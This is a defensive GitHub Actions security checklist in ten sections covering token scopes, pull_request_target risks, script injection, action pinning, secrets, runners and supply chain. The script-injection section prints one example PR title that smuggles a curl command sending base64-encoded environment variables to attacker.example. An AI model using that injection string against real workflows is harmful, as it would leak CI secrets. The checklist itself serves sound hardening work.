# GitHub Actions security checklist

Ten sections, each item stating the attack it prevents. Every section links its primary GitHub documentation.
Canonical, maintained version: https://moderngitacademy.com/resources/github-actions-security-checklist/

*Modern Git Engineering Toolkit — Free Edition.*

CI is the part of an engineering estate that executes arbitrary code, with credentials, on
machines that can frequently reach production. It is also the part with the least governance,
because it grew organically and nobody has ever enumerated what runs.

This is an audit checklist. Each item states **the attack it prevents**, because a checklist you
can't reason about becomes a ritual.

> Working through an existing estate? Do the **default token permissions** and the
**fork pull request** sections first. They are one setting and one search respectively, and
together they close the two largest holes.

Every section below links the GitHub documentation it summarises, so each item can be checked
against the primary source. This page is also laid out to print.

## 1. Token permissions

*Primary source: <https://docs.github.com/en/actions/security-for-github-actions/security-guides/automatic-token-authentication>*

- [ ] **Default workflow permissions set to read-only** at organisation level.
- [ ] Workflows request additional scopes explicitly, at **job** level rather than workflow level.
- [ ] "Allow GitHub Actions to create and approve pull requests" is **off**.
- [ ] No workflow uses `permissions: write-all`.

**Why.** The workflow token is available to every step, including third-party actions. A token
with `contents: write` lets a compromised step push commits; with `actions: write` it can rewrite
workflows to persist. Read-only by default converts a broad standing grant into an explicit,
reviewable request — one setting, estate-wide.

## 2. Untrusted code and fork pull requests

*Primary source: <https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections>*

- [ ] No workflow checks out fork PR code **and** has access to secrets.
- [ ] Every `pull_request_target` usage reviewed individually and justified.
- [ ] No `pull_request_target` combined with `ref: github.event.pull_request.head.sha`.
- [ ] Privileged follow-up work uses the artifact + `workflow_run` split.
- [ ] Approval required for first-time contributors' workflow runs.

**Why.** `pull_request` runs in the fork's context with no secrets — that is what makes accepting
contributions safe. `pull_request_target` runs in the **base repository's** context with full
secrets and a write token. Checking out PR head code under it and running any build step executes
attacker-supplied code with your credentials present. This is the single highest-severity pattern
in Actions, and it is not rare.

## 3. Script injection

*Primary source: <https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#good-practices-for-mitigating-script-injection-attacks>*

- [ ] No `${{ }}` interpolation of user-controllable text directly inside `run:`.
- [ ] Untrusted values passed via `env:` and referenced as shell variables.
- [ ] Audited: PR titles and bodies, branch and tag names, issue content, commit messages, review
      comments.

**Why.** Expressions are substituted **before** the shell sees the script. A pull request titled
``a"; curl -d "$(env | base64)" https://attacker.example ; #`` becomes part of the command. This
needs no fork and no unusual trigger — just one workflow that echoes a title. Passing through
`env:` makes the value data rather than code.

## 4. Third-party actions

*Primary source: <https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#using-third-party-actions>*

- [ ] Third-party actions pinned to a **full commit SHA**, not a tag or branch.
- [ ] An allow list configured at organisation or enterprise level.
- [ ] New actions reviewed before first use — what it does, who maintains it, what it requests.
- [ ] Secrets passed to third-party actions are the minimum they need.
- [ ] Dependabot configured to update pinned action SHAs.

**Why.** `@v3` is a mutable pointer. The maintainer — or anyone who compromises the repository —
can move it to different code, which then runs with your job's permissions on your next build.
Pinning to a SHA is the difference between a *reviewed* dependency and a *trusted* one. An allow
list is also your fastest response when a popular action is disclosed as compromised.

## 5. Secrets

*Primary source: <https://docs.github.com/en/actions/security-for-github-actions/security-guides/using-secrets-in-github-actions>*

- [ ] Production credentials in **environments with required reviewers**, not repository secrets.
- [ ] **OIDC** used for cloud authentication instead of stored long-lived keys.
- [ ] Repository and organisation secrets inventoried; unused ones removed.
- [ ] No secret ever echoed, printed, or written to an artifact.
- [ ] `persist-credentials: false` on checkout where no later Git command needs auth.

**Why.** A repository secret is readable by every workflow in that repository, including one added
by a pull request from anyone with write access. An environment secret can require human approval
and restrict which branches may deploy. OIDC removes the stored credential entirely — the strongest
form of this control, because there is nothing left to leak.

## 6. Runners

*Primary source: <https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners>*

- [ ] Self-hosted runners **never** reachable by public repositories.
- [ ] Runner groups scoped by what the runner can reach, not by which team owns it.
- [ ] Ephemeral runners — each job in a fresh environment.
- [ ] Cloud instance metadata endpoint blocked from runner jobs.
- [ ] Runners patched; registration tokens treated as credentials.

**Why.** A self-hosted runner is a machine on your network. Anyone can fork a public repository and
open a pull request; if that triggers a job on your runner, anyone can execute code inside your
perimeter. Persistent runners additionally carry state between jobs — cached credentials, leftover
files — which is a lateral movement path between teams.

## 7. Workflow files as an attack surface

*Primary source: <https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions>*

- [ ] `CODEOWNERS` covers `.github/workflows/` so CI changes need nominated review.
- [ ] Required workflows defined centrally via rulesets, so a repository cannot remove them.
- [ ] Audit log alerting on workflow file modifications.

**Why.** A workflow file lives in the repository it governs. Anyone who can merge to the default
branch can change what CI does — removing a scan, adding an exfiltration step, or granting the job
more permissions. Branch protection is therefore the real control, and a workflow change is the
classic persistence mechanism for a compromised credential.

## 8. Artifacts and outputs

*Primary source: <https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/storing-and-sharing-data-from-a-workflow>*

- [ ] Artifacts contain no credentials, tokens or `.env` files.
- [ ] Artifact retention set deliberately rather than left at the default.
- [ ] Downloaded artifacts treated as untrusted input — never executed by a privileged job.
- [ ] Build provenance attestations generated for released artifacts.

**Why.** Artifacts are downloadable by anyone with repository read access, and they persist. An
artifact built from untrusted code and then executed by a privileged workflow is the same
vulnerability as running fork code directly, one step removed.

## 9. Supply chain

*Primary source: <https://docs.github.com/en/actions/security-for-github-actions/using-artifact-attestations/using-artifact-attestations-to-establish-provenance-for-builds>*

- [ ] Lockfiles committed and used (`npm ci`, not `npm install`).
- [ ] Dependency review on pull requests.
- [ ] Dependabot alerts enabled and acted on.
- [ ] Releases signed or attested.
- [ ] A route to respond to a critical advisory in days.

**Why.** Your workflow is only as trustworthy as everything it installs. A compromised transitive
dependency executes with the same permissions as your job, and `postinstall` scripts run before
any test does.

## 10. Governance across many repositories

*Primary source: <https://docs.github.com/en/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization>*

- [ ] Inventory: which repositories have workflows, which actions they use, at what versions.
- [ ] Pipeline logic centralised in reusable workflows so one fix reaches every caller.
- [ ] Organisation-level Actions policies configured deliberately.
- [ ] Self-hosted runner inventory current — no runners nobody claims.

**Why.** At scale the binding constraint is not knowing what runs. A fleet-wide search for `uses:`
is usually the most productive hour available, and centralising pipeline logic converts a
fleet-wide security fix from a quarter-long campaign into a single commit.
